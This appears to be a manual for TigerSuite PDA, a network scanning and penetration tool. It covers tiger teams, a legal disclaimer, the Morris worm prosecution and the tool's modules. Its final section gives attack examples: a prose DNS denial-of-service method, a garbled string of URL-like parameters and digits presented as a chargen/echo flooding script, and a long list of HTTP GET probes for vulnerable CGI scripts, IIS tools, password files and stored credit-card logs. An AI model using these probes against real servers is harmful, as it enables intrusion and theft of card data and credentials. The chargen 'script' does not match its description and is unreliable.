

TigerSuite PDA

The purpose here is to introduce a suite of tools that can be used to facilitate a security analysis—to discover, test, and even penetrate secure personal computers and networks for and against security vulnerabilities. The goal here is take the mystery out of security and bring it directly to the consumer and/or technology professional, where it belongs. TigerSuite PDA was developed to provide network security tools that are sorely needed by individuals, commercial organizations, network professionals, and corporate managers concerned primarily with hack attacks discovery and maintaining a secure network. Such security includes personal attacks, external attacks, and internal attempts at viewing or leveraging confidential company or private information against the “victim.”

Tiger Terminology

Before launching into a discussion on the inner workings of TigerSuite PDA, some definitions are in order, some “tiger terminology,” if you will. We begin by identifying the role of a tiger team. Originally, a tiger team was a group of paid professionals whose purpose was to penetrate perimeter security, and test or analyze the inner-security policies of corporations. These people basically hacked into the computer systems, phone systems, safes, and so on to help the companies that hired them to know how to effectively revamp their security policies.

More recently, a tiger team has come to be known as any official inspection or special operations team that is called in to evaluate a security problem. A subset of tiger teams comprises of professional hackers and crackers who test the security of computer installations by attempting remote attacks via networks or supposedly secure communication channels. In addition, Tiger teams are also called in to test programming code integrity. Many software development companies outsource such teams to perform stringent dynamic code testing before putting software on the market.

As the world becomes increasingly networked, corporate competitors and spies, disgruntled employees, and bored teenagers more frequently are invading company and organization systems to steal information, sabotage careers, or just to make trouble. Together, the Internet and the World Wide Web have opened wide a backdoor through which competitors and/or hackers can launch attacks on targeted computer networks. From my own experience, it seems there are still countless networks wired to the Internet that are vulnerable to such threats. With the growth of the Internet and continued advances in technology, these intrusions are becoming increasingly prevalent. In short, external threats are a real-world problem for any company with remote connectivity.

For those reasons, hackers and tiger teams rely on what’s coined a TigerBox to provide the necessary tools to reveal security weaknesses; such a box contains tools designed for sniffing, spoofing, cracking, scanning, and penetrating security vulnerabilities. It can be said that the TigerBox is the ultimate mechanism in search of hack attack vulnerabilities.

Legal Ramifications

This software is sold for information purposes only, providing you with the internetworking knowledge and tools to perform professional security audits. Neither the developers nor distributors will be held accountable for the use or misuse of the information contained. This software and the accompanying files are sold "as is" and without warranties as to performance or merchantability or any other warranties whether expressed or implied. While we use reasonable efforts to include accurate and up-to-date information, it makes no representations as to the accuracy, timeliness or completeness of that information, and you should not rely upon it. In using this software, you agree that its information and services are provided "as is, as available" without warranty, express or implied, and that you use this at your own risk. By accessing any portion of this software, you agree not to redistribute any of the information found therein. The software and services provided through menus or links are independent of us and are for your convenience only. We do not endorse or recommend the services of any particular software, company or service, nor are we responsible for any services or goods provided by such. We shall not be liable for any damages or costs arising out of or in any way connected with your use of this software or any of the services or companies accessed throughout. You further agree that any developer or distributor of this software and any other parties involved in creating and delivering the contents have no liability for direct, indirect, incidental, punitive, or consequential damages with respect to the information, software, services, content, or advertisements contained on or otherwise accessed through this software.

The first United States statute that specifically prohibits hacking is the Federal Fraud and Computer Abuse Act of 1986, enacted to fill legislative gaps in previous statutes. Subsection (a) of this act makes it a felony to knowingly access a computer without authorization and to obtain information with the intent to injure the United States or to benefit a foreign nation. This subsection protects any information that has been determined, pursuant to an executive order or statute, to be vital to this nation's national defense or foreign relations. In addition, the 1986 act prohibits unauthorized access of information contained in a financial record or consumer-reporting agency, provided a "federal interest computer" is involved.

The first successful prosecution under the 1986 act was *United States of America v. Robert Tappan Morris* (#774, Docket 90-1336. United States Court of Appeals, Second Circuit. Argued Dec. 4, 1990, Decided March 7, 1991.), which involved a typical hacking offense and its resultant damage.

The defendant was charged and convicted under subsection (a), which makes it a felony to access intentionally any "federal interest" computer without authorization and alter, damage, destroy, or prevent the authorized use of information resulting in the loss of at least \$1,000.

In the fall of 1988, Morris was a first-year graduate student in Cornell University's computer science Ph.D. program. Through undergraduate work at Harvard and in various jobs he had acquired significant computer experience and expertise. When Morris entered Cornell, he was given an account on the computer at the Computer Science Division. This account gave him explicit authorization to use computers at Cornell. Morris engaged in various discussions with fellow graduate students about the security of computer networks and his ability to penetrate it.

In October 1988, Morris began work on a computer program, later known as the Internet "worm" or "virus." The goal of this program was to demonstrate the inadequacies of current security measures on computer networks by exploiting the security defects that Morris had discovered. The tactic he selected was release of a worm into network computers. Morris designed the program to spread across a national network of computers after being inserted at one computer location connected to the network. Morris released the worm into Internet, which is a group of national networks that connect university, governmental, and military computers around the country. The network permits communication and transfer of information between computers on the network.

Morris sought to program the Internet worm to spread widely without drawing attention to itself. The worm was supposed to occupy little computer operation time, and thus not interfere with normal use of the computers. Morris programmed the worm to make it difficult to detect and read, so that other programmers would not be able to "kill" the worm easily. Morris also wanted to ensure that the worm did not copy itself onto a computer that already had a copy. Multiple copies of the worm on a computer would make the worm easier to detect and would bog down the system and ultimately cause the computer to crash. Therefore, Morris designed the worm to "ask" each computer whether it already had a copy of the worm. If it responded "no," then the worm would copy onto the computer; if it responded "yes," the worm would not duplicate. However, Morris was concerned that other programmers could kill the worm by programming their own computers to falsely respond "yes" to the question. To circumvent this protection, Morris programmed the worm to duplicate itself every seventh time it received a "yes" response. As it turned out, Morris underestimated the number of times a computer would be asked the question, and his one-out-of-seven ratio resulted in far more copying than he had anticipated. The worm was also designed so that it would be killed when a computer was shut down, an event that typically occurs once every week or two. This would have prevented the worm from accumulating on one computer, had Morris correctly estimated the likely rate of reinfection.

Morris identified four ways in which the worm could break into computers on the network: (1) through a "hole" or "bug" (an error) in SEND MAIL, a computer program that transfers and receives electronic mail on a computer; (2) through a bug in the "finger demon" program, a program that permits a person to obtain limited information about the users of another computer; (3) through the "trusted hosts" feature, which permits a user with certain privileges on one computer to have equivalent privileges on another computer without using a password; and (4) through a program of password guessing, whereby various combinations of letters are tried out in rapid sequence in the hope that

one will be an authorized user's password, which is entered to permit whatever level of activity that user is authorized to perform.

On November 2, 1988, Morris released the worm from a computer at the Massachusetts Institute of Technology. MIT was selected to disguise the fact that the worm came from Morris at Cornell. Morris soon discovered that the worm was replicating and reinfecting machines at a much faster rate than he had anticipated. Ultimately, many machines at locations around the country either crashed or became "catatonic." When Morris realized what was happening, he contacted a friend at Harvard to discuss a solution. Eventually, they sent an anonymous message from Harvard over the network, instructing programmers how to kill the worm and prevent reinfection. However, because the network route was clogged, this message did not get through until it was too late. Computers were affected at numerous installations, including leading universities, military sites, and medical research facilities. The estimated cost of dealing with the worm at each installation ranged from \$200 to more than \$53,000.

Morris was found guilty, following a jury trial, of violating 18 U.S.C. Section 1030(a)(5)(A). He was sentenced to three years of probation, 400 hours of community service, a fine of \$10,050, and the costs of his supervision. The success of this prosecution demonstrated that the United States judicial system can and will prosecute domestic computer crimes that are deemed to involve national interests.

That said, the federal government to date has been reluctant to prosecute under the 1986 act, possibly because most state legislatures have adopted their own regulations, and Congress is hesitant before usurping state court jurisdiction over computer related crimes. Therefore it is a good idea to become familiar with local legislative directives as they pertain to discovery, hacking, and security analysis.

TigerSuite PDA Modules

The TigerSuite modules were designed for performing network discoveries, vulnerability scanning, and exploit penetration.

The idea behind scanning is to probe as many ports as possible, keeping track of the ones that are receptive or useful to a particular need. A scanner program reports these receptive listeners, which can then be used for weakness analysis and further explication. The scanners were designed for performing some serious network-identified and stealth discoveries defined here:

Pinger. Recall that Ping sends a packet to a remote or local host, requesting an echo reply. If the echo is returned, the host is up. If the echo is not returned, it can indicate that the node is not available, that there is some sort of network trouble along the way, or that there is a filtering device blocking the echo service. As a result, Ping is a network diagnostic tool that verifies connectivity. Technically, Ping sends an ICMP echo request in the form of a data packet to a remote host, and displays the results for each echo reply.

Typically, Ping sends one packet per second, and prints one line of output for every response received. When the program terminates, it displays a brief summary of round-trip times and packet-loss statistics.

Port Scanner. This module performs a custom single IP TCP port scan. Be careful as your system resources will decrease in relation to the more threads you make available to the scanner.

Range Scanner. This module is essentially a multiple IP or subnet port discovery scanner. It will sweep an entire range of IP addresses and report nodes that are listening with a particular port.

Service Detect. The main purpose of this module is to take the guesswork out of target node service discovery. This scanning technique completes an information query based on a given address or hostname and port range. With successful identification, the output field displays current types and versions for the target operating system services, including FTP, HTTP, SMTP, POP3, NNTP, DNS, Socks, Proxy, telnet, Imap, Samba, SSH, and finger server daemons. The objective is to save hours of information discovery to allow more time for penetration analysis.

Penetrator. Vulnerability penetration testing of system and network security is one of the only ways to ensure that security policies and infrastructure protection programs function properly. The TigerSuite penetration module is designed to provide some common penetration attacks to test strengths and weaknesses by locating security gaps. This procedure offers an in-depth assessment of potential security risks that may exist internally and externally.

Sending Scripts with the Penetrator

When it comes to sending scripts with the penetrator, after you find a vulnerability in your target system, you would simply attach to the appropriate IP address:port and then send whatever script the exploit entails.

As an example we'll look at a denial of service (DoS) attack on Windows NT systems running the domain name service (DNS), more specifically those systems that have not been updated with the most recent service packs and system patches. Our studies have found that despite the overwhelming security alerts, there are still many systems vulnerable to this DoS veteran.

A domain name is a character-based handle that identifies one or more IP addresses. This service exists simply because alphabetic domain names are easier to remember than IP addresses. The domain name service (DNS) translates these domain names back into their respective IP addresses. Datagrams that travel through the Internet use addresses, therefore every time a domain name is specified, a DNS service daemon must translate the name into the corresponding IP address. Basically, by entering a domain name into a

browser, say, TigerTools.net, a DNS server maps this alphabetic domain name into an IP address, which is where the user is forwarded to view the Web site.

An attacker can connect to the DNS port (usually port 53), and send random characters to cause the DNS service to stop working. When combined with other attacks (i.e. ports 135 and 1031), this attack could cause the machine to crash.

Another quick example includes the classic UNIX Chargen vs. Echo Service Vulnerability. As you well know, the chargen service causes a TCP server to send a continual stream of characters to the client until the client terminates the connection. The echo service causes a server to return whatever a client sends. Since the echo port returns whatever is sent to it, it is susceptible to attacks that create false return addresses. That said, spoofed packets can link the chargen port to the echo port, creating an infinite loop. This type of attack consumes increasing amounts of network bandwidth, degrading network performance or, in some cases, completely disabling portions of a network. During our lab exercises, we sent the following script to drastically degrade performance:

```
&bom=ctac_ler_txt&BV_ionID=@@@@0582212215.0973528057@@@@&BV_EniI
D=faljfcImeghbekfcflcfhfcggm.0130228112953432144115916786299991234512569234
56325413331465432910519876511111123123123456320033369272696969809111107
191411258201131214116329912190592045466213654529533364266618450553446098
3954536566034861644791667668076969199
```

Our final example consists of Common Gateway Interface (CGI) coding vulnerabilities. It should come to no surprise that CGI coding may cause susceptibility to the Web page hack. In fact, CGI is the opening most targeted by attackers. In this example, we used the penetrator to uncover web server vulnerabilities with the following scripts from our target IP address at port 80:

```
GET /scripts/tools/getdrvs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/upload.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/pu3.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/logs/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/templates/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /quikstore.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/shopper.conf HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/order.log HTTP/1.0 & vbCrLf & vbCrLf
GET /pw/storemgr.pw HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/iissamples/query.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/exair/search/advsearch.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iisadmpwd/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /doc HTTP/1.0 & vbCrLf & vbCrLf
GET /.html/.../config.sys HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/add_ftp.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/architext_query.cgi HTTP/1.0 & vbCrLf & vbCrLf
```

GET /cgi-bin/w3-msql/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bigconf.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/get32.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/alibaba.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tst.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /status HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /aux HTTP/1.0 & vbCrLf & vbCrLf
GET /com1 HTTP/1.0 & vbCrLf & vbCrLf
GET /com2 HTTP/1.0 & vbCrLf & vbCrLf
GET /com3 HTTP/1.0 & vbCrLf & vbCrLf
GET /lpt HTTP/1.0 & vbCrLf & vbCrLf
GET /con HTTP/1.0 & vbCrLf & vbCrLf
GET /ss.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /ncl_items.html HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /adminlogin?RCpage/sysadmin/index.stm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/srchadm/admin.idq HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.htaccess HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.wwwacl HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /officescan/cgi/jdkRqNotify.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /ASPSamp/AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/ism.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/uploadn.asp HTTP/1.0 & vbCrLf & vbCrLf